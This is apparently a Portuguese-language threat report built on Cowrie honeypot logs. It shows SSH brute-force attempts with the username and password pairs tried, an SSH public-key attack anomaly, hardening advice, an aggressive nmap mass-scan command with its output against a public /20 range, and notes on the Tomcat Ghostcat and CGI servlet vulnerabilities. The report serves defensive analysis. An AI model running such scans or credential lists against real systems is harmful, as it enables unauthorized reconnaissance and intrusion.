Abaixo está um registro bruto coletado por um honeypot Cowrie, demonstrando a automatização de tentativas consecutivas de conexão:

2025-07-18T02:06:15+0000 [SSHTransport,47.238.151.234] login attempt [ubuntu/qwe123456] failed
2025-07-18T02:06:18+0000 [SSHTransport,47.238.151.234] login attempt [web/P@ssw0rd] failed
2025-07-18T02:07:09+0000 [SSHTransport,47.238.151.234] login attempt [adam/adam123] failed
2025-07-18T02:07:19+0000 [SSHTransport,47.238.151.234] login attempt [app/111111] failed
2025-07-18T02:07:50+0000 [SSHTransport,47.238.151.234] login attempt [demo/demo] failed

O host de origem localiza-se em Hong Kong (47.238.151.234) e utiliza o cliente SSH compilado libssh2_1.11.1. O intervalo fixo e a curta duração das conexões indicam um scanner de script automatizado, projetado para descartar alvos inválidos em milissegundos após falha no handshake.

[ 0x06 ] ANOMALIA IDENTIFICADA: ATAQUES DE CHAVE PÚBLICA

Sensores registram tentativas complexas de autenticação baseadas em chaves criptográficas vazadas ou chaves públicas associadas a repositórios de controle de versão expostos.

O IP 182.92.11.80 enviou uma tentativa de autenticação utilizando chave pública SSH específica para o usuário NL5xUDpV2xRa. Falhas no formato da chave causaram uma exceção interna no parser do honeypot, registrando o comportamento anômalo. Esse vetor demonstra que atacantes automatizam não apenas dicionários de senhas, mas também chaves SSH públicas colhidas de vazamentos históricos e repositórios GitHub mal configurados.

[ 0x07 ] DIRETRIZES DE HARDENING DE INFRAESTRUTURA SSH

1. Desabilitar Autenticação por Senha: Restringir o acesso SSH exclusivamente à autenticação baseada em chaves criptográficas fortes, utilizando o algoritmo Ed25519.
2. Mudar Porta Padrão: Alterar a escuta da porta 22 para portas altas atenua varreduras automatizadas simples, embora ferramentas ativas de service discovery ainda identifiquem o serviço.
3. Defesa Ativa (Throttling e Reputation): Implementar soluções de reputação IP distribuída (como Crow crowdSec ou Fail2ban) para bloquear IPs na camada do firewall corporativo com base em telemetria compartilhada.
4. Isolamento de Redes IoT: Dispositivos embarcados não devem possuir portas administrativas expostas diretamente para a internet e devem ser confinados em redes locais isoladas (VLANs).

[ 0x08 ] RECONHECIMENTO DE ALTA VELOCIDADE: VARREDURAS AGRESSIVAS

A varredura rápida de portas é realizada através de ferramentas de geração de pacotes assíncronos (como masscan ou Nmap com controle de taxa). O log abaixo demonstra a identificação de alvos ativos em tempo recorde:

# sudo nmap -n -Pn -T5 --min-rate 5000 --open -p 25565 152.67.32.0/20 -vvvv
Scanning 4096 hosts [1 port/host]
Discovered open port 25565/tcp on 152.67.32.10
Discovered open port 25565/tcp on 152.67.34.19
Nmap done: 4096 IP addresses scanned in 3.58 seconds
Raw packets sent: 8175 (359.700KB) | Rcvd: 19 (928B)

A flag --min-rate 5000 força o envio mínimo de 5000 pacotes por segundo, permitindo varrer sub-redes /20 em menos de 4 segundos. Contudo, timing templates agressivos (-T5) sob redes ruidosas podem induzir a falsos negativos (perda de portas abertas devido ao descarte de pacotes sob congestionamento).

[ 0x09 ] ANÁLISE DE VULNERABILIDADE (CVE-2020-1938 / CVE-2019-0232)

Sensores identificam vulnerabilidades de serviços web populares a partir do reconhecimento de cabeçalhos de versão (banner grabbing). Um host ativo na porta 8080 executando Apache Tomcat/7.0.92 expõe a aplicação a múltiplos vetores de ataque:

1. Ghostcat (CVE-2020-1938): Permite a leitura de arquivos arbitrários e execução remota de código (RCE) na pasta de aplicação através do conector AJP (porta 8009) exposto sem autenticação.
2. RCE via CGI Servlet (CVE-2019-0232): Injeção de comandos no Windows se a diretiva enableCmdLineArguments estiver habilitada no servlet CGI do Tomcat.

[ 0x0A ] CONSIDERAÇÕES FINAIS

A segurança de servidores públicos expostos reside na redução da superfície de ataque e no monitoramento constante de anomalias comportamentais. O hardening de chaves e o controle rígido de portas expostas são defesas básicas obrigatórias no cenário atual de ameaças.